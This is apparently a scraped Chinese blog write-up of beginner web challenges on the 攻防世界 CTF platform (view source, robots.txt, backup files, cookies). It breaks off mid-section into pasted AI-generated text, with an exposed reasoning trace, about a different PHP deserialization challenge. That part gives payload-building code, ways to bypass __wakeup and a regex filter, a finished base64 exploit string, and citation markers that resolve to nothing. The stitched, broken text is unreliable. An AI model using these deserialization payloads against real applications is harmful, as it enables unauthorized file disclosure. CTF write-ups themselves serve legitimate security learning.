攻防世界web新手题答案_攻防世界web 新手区 wp

本文介绍了攻防世界Web新手题目的解题过程,涉及查看源代码、利用robots.txt、文件备份扩展名、Cookie、PHP弱类型比较、HTTP头部字段以及命令执行漏洞等多个知识点。通过实例解析了Web安全的基础技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

view_source

题目描述右击不管用,打开题目看到以下界面

5ea48b8a30e26f471d6e055f6d68c09a.png

右击不管用,可以按F12 -> source 查看源代码,拿到flag

7efb2a8cfe016f42a90d32860b765726.png

robots

题目描述就是和robots协议有关的,直接在url中 输入robots.txt 查看 robots协议,并拿到flag

e5a51500f8ce8951c4466c38a6afd859.png

robots协议

robots.txt文件是一个文本文件,使用任何一个常见的文本编辑器,比如Windows系统自带的Notepad,就可以创建和编辑它[1]  。robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。

联想到在URL后加上robots.txt

backup

打开网页显示

6da09db3079d1ad74d50c8b40f0d6e96.png

输入index.php  没有反应

14f3ebcabd2541d3348274d8ab0d91db.png

因为网页的备份文件常用为.bak格式所以直接在url 后面加上.bak 会直接下载一个bak的压缩包

1ad7b3628ea888275d74cefd6fe80fb2.png

以记事本方式打开拿到flag

87e09dcccca4daedac06f1cfb0ce23b6.png

如果网站存在备份文件,常见的备份文件后缀名有:“.git”、“.svn”、“.swp”“.~”、“.bak”、“.bash_history”、“.bkf” 尝试在URL后面,依次输入常见的文件备份扩展名。

cookie

打开题目显示

8a7c13549bff1c1095a47f47776ee52f.png

索性直接查看cookie

<think>好的,我现在需要帮助用户解决攻防世界Web_php_unserialize的CTF目。首先,用户希望了解解思路,特别是针对PHP反序列化的新手。我应该结合用户提供的引用内容来整理答案。 首先,我需要回顾用户提供的引用。引用[4]详细分析了Demo类的结构,包括__wakeup魔术方法和如何绕过它。引用[2]提到了当__wakeup被调用时会退出,所以可能需要绕过这个方法的执行。引用[5]提到了绕过__wakeup的方法,比如修改对象属性的数量。此外,引用[1]和[3]提供了PHP反序列化的基础知识和phps文件的作用,可能对解有帮助。 接下来,解步骤可能需要包括以下部分: 1. **代码分析**:查看目提供的PHP代码,找到反序列化的入口和可能的漏洞点。比如,是否存在反序列化时的__wakeup方法,或者反序列化后触发的__destruct方法。 2. **绕过__wakeup**:根据引用[2]和引用[4],如果__wakeup方法会终止程序或修改关键变量,就需要绕过它。通常可以通过修改序列化字符串中的属性数量,使其大于实际数量,从而避免__wakeup的执行。例如,将O:4改为O:+4,或者调整属性数量。 3. **处理正则过滤**:引用[4]提到代码中可能使用preg_match来检查序列化字符串,如匹配类似O:数字的情况。这时候需要绕过这种过滤,比如使用O:+4代替O:4,或者在数字前添加加号。 4. **构造Payload**:构造一个恶意序列化字符串,触发__destruct方法,从而读取flag文件。例如,将$file变量设置为fl4g.php,在对象销毁时输出其内容。 5. **Base64编码**:根据引用[4]和引用[5],可能需要将序列化后的字符串进行Base64编码,以符合目参数的要求。 6. **利用私有变量处理**:如果涉及私有变量,需要注意序列化时的格式,比如%00类名%00变量名,但可能需要URL编码处理。 在整理步骤时,需要确保每个部分都有对应的引用支持,并正确标注引用来源。同时,用户可能需要具体的示例payload和步骤说明,例如如何修改属性数量,如何绕过正则表达式等。 此外,用户可能还需要相关的学习资源或常见技巧,比如魔术方法的作用、反序列化漏洞的原理,这些可以结合引用内容中的知识点进行补充。 最后,生成相关问,帮助用户进一步学习,比如如何绕过正则表达式、其他魔术方法的影响,或者私有变量的处理方式等。 需要确保回答结构清晰,分步骤说明,并且引用正确。同时,检查是否有遗漏的步骤或错误,比如是否应该使用大写C还是O,或者Base64编码后的字符串是否需要特殊处理等。</think>### Web_php_unserialize 解思路 #### 一、目分析 1. **代码审查** 目通常提供PHP源码(可能通过`.phps`文件显示[^3])。核心逻辑如下: - 类中包含`__wakeup()`方法,会强制重置关键变量(如将`$file`设为`index.php`[^4])。 - 反序列化入口通过`unserialize(base64_decode($_GET['var']))`接收参数[^5]。 - 存在正则过滤`preg_match('/[oc]:\d+:/i')`,阻止以`O:数字`开头的序列化字符串。 2. **漏洞定位** 目标是通过反序列化触发`__destruct()`方法,读取`fl4g.php`文件内容。需绕过以下限制: - **绕过`__wakeup()`**:修改序列化字符串中对象属性数量。 - **绕过正则过滤**:调整序列化字符串格式。 --- #### 二、解步骤 1. **构造恶意类** 假设目类名为`Demo`,其`$file`属性为目标文件`fl4g.php`: ```php class Demo { private $file = 'fl4g.php'; } ``` 2. **生成序列化字符串** - 序列化对象: ```php $obj = new Demo(); $serialized = serialize($obj); ``` 输出类似:`O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}`。 - **绕过`__wakeup()`**: 修改属性数量为**大于实际值**(如从`1`改为`2`): ```php $payload = str_replace(':1:', ':2:', $serialized); ``` - **绕过正则过滤**: 将`O:4`改为`O:+4`或`O:4`后添加注释符`%2b`(`+`的URL编码): ```php $payload = preg_replace('/O:\d+/', 'O:+4', $payload); ``` 3. **Base64编码** 目要求参数`var`需Base64编码[^5]: ```php $final_payload = base64_encode($payload); ``` 4. **发送Payload** 通过URL传递参数: ``` http://目地址?var=<?php echo $final_payload; ?> ``` --- #### 三、关键技巧 1. **魔术方法绕过** - `__wakeup()`在反序列化时自动调用,但若对象属性数被修改为超过实际值,则不会触发[^2][^4]。 - `__destruct()`在对象销毁时触发,可用于执行关键操作(如读取文件)。 2. **正则绕过** - 使用`O:+4`代替`O:4`,利用`+`符号绕过`\d+`匹配。 - 若过滤严格,可尝试Unicode编码或特殊符号注入。 --- #### 四、示例Payload 原始序列化字符串: ``` O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";} ``` 修改后: ``` O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";} ``` Base64编码结果: ``` TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值